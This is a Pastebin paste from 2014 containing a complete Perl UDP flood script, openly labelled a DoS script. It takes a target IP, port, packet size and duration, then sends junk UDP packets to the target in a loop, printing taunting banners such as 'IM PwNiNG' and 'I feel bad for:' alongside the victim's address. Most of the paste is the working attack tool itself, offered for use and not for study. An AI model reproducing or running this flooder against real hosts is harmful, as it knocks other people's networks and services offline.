Advertisement
BaSs_HaXoR

<Syntax> Perl Dos Script

Feb 18th, 2014
392
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 3.96 KB | None | 0 0
  1. <--{MADE 2/18:14} @8:33AM By Me-->
  2.  
  3. SCRIPT STARTS HERE:
  4.  
  5. #!/usr/bin/perl
  6.  
  7. ##
  8. # <SyntaX>
  9. ##
  10.  
  11. use Socket;
  12. use strict;
  13. use Term::ANSIColor;
  14. print color 'Blue';
  15.  
  16. my ($ip,$port,$size,$time) = @ARGV;
  17.  
  18. my ($iaddr,$endtime,$psize,$pport);
  19.  
  20. $iaddr = inet_aton("$ip") or die "Failed resolving hostname $ip\n";
  21. $endtime = time() + ($time ? $time : 100);
  22. socket(flood, PF_INET, SOCK_DGRAM, 17);
  23. print "
  24.  
  25. --------------------------------------------------------------------------------\n";
  26. print color 'reset';
  27. print color 'Red';
  28. print"
  29.         <<<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>>>
  30.                                     ~SyntaX~                           \n";
  31. print color 'reset';
  32. print color 'Green';
  33. print <<EOTEXT;
  34.         ¦¦+¦¦¦¦¦¦¦+¦¦+   ¦¦+¦¦¦+   ¦¦+¦¦¦¦¦¦¦¦+ ¦¦¦¦¦+ ¦¦+  ¦¦+¦¦+  
  35.        ¦¦++¦¦+----++¦¦+ ¦¦++¦¦¦¦+  ¦¦¦+--¦¦+--+¦¦+--¦¦++¦¦+¦¦+++¦¦+
  36.           ¦¦++ ¦¦¦¦¦¦¦+ +¦¦¦¦++ ¦¦+¦¦+ ¦¦¦   ¦¦¦   ¦¦¦¦¦¦¦¦ +¦¦¦++  +¦¦+
  37.       +¦¦+ +----¦¦¦  +¦¦++  ¦¦¦+¦¦+¦¦¦   ¦¦¦   ¦¦+--¦¦¦ ¦¦+¦¦+  ¦¦++
  38.        +¦¦+¦¦¦¦¦¦¦¦   ¦¦¦   ¦¦¦ +¦¦¦¦¦   ¦¦¦   ¦¦¦  ¦¦¦¦¦++ ¦¦+¦¦++
  39.         +-++------+   +-+   +-+  +---+   +-+   +-+  +-++-+  +-++-+                                                  
  40. EOTEXT
  41. print "                                What Just happened?!            
  42.                     I think i pressed a wrong button.
  43.                     I think Ctrl+C is to Stop?\n";
  44. print color 'reset';
  45. print color 'Red';
  46. print"         <<<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>=<=>>>
  47. \n";
  48. print color 'reset';
  49. print color 'Yellow';
  50. print           "                 CURRENT: $ip :: port " .
  51. ($port ? $port : "random") ." ".($time ? ":: $time seconds" : "
  52.                            Ohhh Shnap. What's this do?
  53.  
  54. ") . "\n";
  55. print color 'reset';
  56. print color 'blue';
  57. print "
  58. --------------------------------------------------------------------------------
  59. \n";
  60. print color 'reset';
  61. print color 'green';
  62. print "Ctrl+C = STOP\n";
  63. print color 'reset';
  64. print color 'white';
  65. print "I don't know what im doing, im just putting numberz in here! ;p\n";
  66. print color 'reset';
  67. print color 'green';
  68. print "TIME STARTED: ";
  69. print scalar localtime ();
  70. print join (":", (localtime));
  71. print "\n";
  72. print color 'reset';
  73. print color 'red';
  74. print "\nI feel bad for: ";
  75. print "IP: $ip  Port: $port Size: $size bytes   Time:$time seconds\n";
  76. print color 'reset';
  77. print color 'white';
  78. print"              <---IM PwNiNG--->";
  79. print color 'reset';
  80. print color 'white';
  81. print "\n";
  82. for (;time() <= $endtime;) {
  83. $psize = $size ? $size : int(rand(1024-64)+64) ;
  84. $pport = $port ? $port : int(rand(65500))+1;
  85.  
  86. send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport,
  87. $iaddr));}
  88. print "\033[2J";    #clear the screen
  89. print "\033[0;0H"; #jump to 0,0
  90. print color 'reset';
  91. print color 'green';
  92. print "RAN AT: ";
  93. print scalar localtime ();
  94. print join (":", (localtime));
  95. print "\n";
  96. print "IP: ";
  97. print color 'reset';
  98. print color 'red';
  99. print "$ip ";
  100. print color 'reset' ;
  101. print color 'green';
  102. print ":: PORT: ";
  103. print color 'reset';
  104. print color 'red';
  105. print "$port";
  106. print color 'reset';
  107. print color 'green';
  108. print " :: SIZE: ";
  109. print color 'reset';
  110. print color 'red';
  111. print "$size ";
  112. print color 'reset';
  113. print color 'green';
  114. print ":: TIME: ";
  115. print color 'reset';
  116. print color 'red';
  117. print "$time ";
  118. print color 'reset';
  119. print color 'yellow';
  120. print" =";
  121. print color 'reset';
  122. print color 'green';
  123. print " SUCCESSFULLY FINISHED ";
  124. print color 'reset';
  125. print color 'red';
  126. print "PwNiNG!\n";
  127. print color 'reset';
  128. print color 'red';
  129. print "{ ";
  130. print color 'reset';
  131. print color 'green';
  132. print "COMMAND: ";
  133. print color 'reset';
  134. print color 'yellow';
  135. print "Perl syntax.pl IP PORT SIZE TIME ";
  136. print color 'reset';
  137. print color 'red';
  138. print "}\n";
  139. print color 'reset';
  140. print color 'white';
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement